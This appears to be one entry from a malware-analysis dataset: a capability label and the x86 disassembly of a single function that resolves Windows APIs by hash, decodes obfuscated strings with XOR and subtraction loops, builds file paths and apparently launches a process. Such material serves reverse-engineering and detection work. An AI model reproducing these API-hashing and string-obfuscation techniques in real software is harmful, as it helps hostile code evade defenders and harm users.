Function at 0x404778
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x508
push ebx
push ebp
push esi
push edi
mov edi, 0x104
lea eax, [esp + 0x20c]
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push eax
call fcn.00407f10
add esp, 0xc
lea eax, [esp + 0x20c]
push eax
push ebx
push ebx
push 0x1c
push ebx
push 0xcc4e6191
push 1
call fcn.004011e9
pop ecx
pop ecx
call eax
movaps xmm0, xmmword [0x4168d0]
mov ecx, ebx
movups xmmword [esp + 0x12], xmm0
mov word [esp + 0x22], 0xe
mov al, byte [esp + 0x12]
xor byte [esp + ecx + 0x13], al
inc ecx
cmp ecx, 0x10
jb 0x4047cf
lea eax, [esp + 0x13]
mov byte [esp + 0x23], bl
push eax
lea eax, [esp + 0x210]
mov ebp, 0xf9b697a2
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push edi
lea eax, [esp + 0x418]
push ebx
push eax
call fcn.00407f10
add esp, 0xc
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x418]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
mov al, 0x4b
mov dword [esp + 0x12], 0x707e604b
mov dword [esp + 0x16], 0x6c4f2b7d
mov ecx, ebx
mov dword [esp + 0x1a], 0x676c7f
movsx eax, al
and eax, 0x8000000f
jns 0x404856
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x13], al
inc ecx
cmp ecx, 0xa
jae 0x404866
mov al, byte [esp + 0x12]
jmp 0x404847
lea eax, [esp + 0x13]
mov byte [esp + 0x1d], bl
push eax
lea eax, [esp + 0x418]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push 8
pop ecx
xor eax, eax
lea edi, [esp + 0xa0]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x310]
mov edi, 0x104
push edi
push ebx
push eax
call fcn.00407f10
add esp, 0xc
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x314]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0xa0]
push eax
lea ecx, [esp + 0x39]
call fcn.00404f60
lea eax, [esp + 0xa0]
push eax
lea eax, [esp + 0x314]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0x310]
mov ecx, esi
push eax
lea eax, [esp + 0x418]
push eax
call fcn.00402c82
push edi
lea eax, [esp + 0x10c]
push ebx
push eax
call fcn.00407f10
movaps xmm0, xmmword [0x416910]
add esp, 0xc
movups xmmword [esp + 0x12], xmm0
mov ecx, ebx
mov word [esp + 0x32], 0x1870
movaps xmm0, xmmword [0x416a40]
movups xmmword [esp + 0x22], xmm0
mov byte [esp + 0x34], bl
mov al, byte [esp + 0x12]
xor byte [esp + ecx + 0x13], al
inc ecx
cmp ecx, 0x21
jb 0x40493f
lea eax, [esp + 0x13]
mov byte [esp + 0x34], bl
push eax
lea eax, [esp + 0x10c]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
mov al, 2
mov dword [esp + 0x12], 0x67756f02
mov dword [esp + 0x16], 0x30676966
mov ecx, ebx
mov dword [esp + 0x1a], 0x677a67
movsx eax, al
and eax, 0x8000000f
jns 0x404994
dec eax
or eax, 0xfffffff0
inc eax
sub byte [esp + ecx + 0x13], al
inc ecx
cmp ecx, 0xa
jae 0x4049a4
mov al, byte [esp + 0x12]
jmp 0x404985
lea eax, [esp + 0x13]
mov byte [esp + 0x1d], bl
push eax
lea eax, [esp + 0x10c]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
movaps xmm0, xmmword [0x416930]
mov ecx, ebx
movups xmmword [esp + 0x36], xmm0
mov dword [esp + 0x86], 0x41544144
movaps xmm0, xmmword [0x4168f0]
movups xmmword [esp + 0x46], xmm0
mov dword [esp + 0x8a], 0x5249440d
movaps xmm0, xmmword [0x416950]
movups xmmword [esp + 0x56], xmm0
mov word [esp + 0x8e], 0x1d
movaps xmm0, xmmword [0x416900]
movups xmmword [esp + 0x66], xmm0
movaps xmm0, xmmword [0x4168a0]
movups xmmword [esp + 0x76], xmm0
mov al, byte [esp + 0x36]
xor byte [esp + ecx + 0x37], al
inc ecx
cmp ecx, 0x58
jb 0x404a1e
lea eax, [esp + 0x37]
mov byte [esp + 0x8f], bl
push eax
lea eax, [esp + 0x10c]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push 0x416854
lea eax, [esp + 0x10c]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
lea eax, [esp + 0x310]
push eax
lea eax, [esp + 0x10c]
push eax
push ebp
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
push 0x44
pop esi
push esi
lea eax, [esp + 0xc8]
push ebx
push eax
call fcn.00407f10
xor eax, eax
mov dword [esp + 0xd0], esi
lea edi, [esp + 0x9c]
mov dword [esp + 0xd8], 0x41e550
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x90]
push eax
lea eax, [esp + 0xc8]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x128]
push eax
push ebx
push 0x57ae26e9
push ebx
call fcn.004011e9
pop ecx
pop ecx
call eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x508
ret